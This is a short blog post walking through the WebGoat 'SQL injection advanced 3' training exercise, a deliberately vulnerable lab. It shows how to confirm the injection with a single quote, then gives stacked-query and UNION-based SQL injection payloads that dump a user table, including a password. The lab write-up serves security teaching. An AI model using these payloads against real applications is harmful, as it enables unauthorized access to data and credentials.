WebGoat SQL injection advanced 3

PVXs
2 min readSep 2, 2020

--

WebGoat is really clear on this exercise

WebGoat SQL injection advanced 3

we can input a user name in the ‘Name’ text field and get some data back from the ‘user_data’ table, but what WebGoat is asking is to get all data (and Dave’s password) from the ‘user_system_data’ table by using a UNION query or by appending a second SQL query

By inputting a single quote we can test if the text field is vulnerable to SQLi

The error tells us that the single quote is breaking the SQL query, this means we can inject or queries as follows:

a'; select * from user_system_data; -- 

to get all the ‘user_system_data’ table content by appending a second SQL query

a' union select user_system_data.*,'1','1',1 from user_system_data; --

a' union select user_system_data.*,NULL,NULL,NULL from user_system_data; --

either of these two and any other similar queries to get all the ‘user_system_data’ table content by means of a UNION query

if you need more help in understanding how a SQLi work, the best place I can refer is PortSwigger Academy

We have obtained Dave’s password (plus all the data) from the ‘user_system_data’ table as requested by the exercise

This concludes WebGoat SQL injection advanced 3

I hope you liked it

PVXs

Sign up to discover human stories that deepen your understanding of the world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

--

--

PVXs
PVXs

No responses yet

Write a response